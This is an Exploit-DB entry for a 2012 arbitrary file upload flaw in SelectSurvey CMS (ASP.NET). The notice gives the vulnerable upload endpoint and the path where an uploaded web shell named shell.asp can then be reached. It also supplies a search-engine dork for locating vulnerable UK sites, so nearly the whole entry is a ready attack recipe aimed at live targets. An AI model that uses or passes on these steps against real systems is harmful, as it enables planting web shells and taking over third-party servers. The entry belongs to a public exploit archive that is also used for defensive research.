SelectSurvey CMS - 'ASP.NET' Arbitrary File Upload

EDB-ID:

23571

CVE:

N/A

EDB Verified:

Author:

040

Type:

webapps

Exploit: /

Platform:

ASP

Date:

2012-12-21

Vulnerable App:

=============================================================
SelectSurvey CMS (ASP.NET) Shell Upload Vulnerability
=============================================================
 
###################################################
#
# Exploit Title: SelectSurvey.NETv4 CMS (ASP.NET) Shell Upload Vulnerability
# DDate: 20/12/2012
# Author: 040
# Software Link: www.classapps.com
# Version: 3.x . 4.0
# Tested on: windows
# dork : "SelectSurvey.NETv4 site:uk"
# Contact: cyber040@hotmail.com ~ @04hazmi
#
####################################################
 
    exploit # /survey/UploadImagePopup.aspx
 
or http://survey.site.com/UploadImagePopup.aspx
 
 
  Upload to # http://site.com/UploadedImages/shell.asp
 
 
#######################################################
 

Greetz :  Matlo3a-Dz

Tags:

Advisory/Source: Link

Databases	Links	Sites	Solutions
Exploits	Search Exploit-DB	OffSec	Courses and Certifications
Google Hacking	Submit Entry	Kali Linux	Learn Subscriptions
Papers	SearchSploit Manual	VulnHub	OffSec Cyber Range
Shellcodes	Exploit Statistics		Proving Grounds
			Penetration Testing Services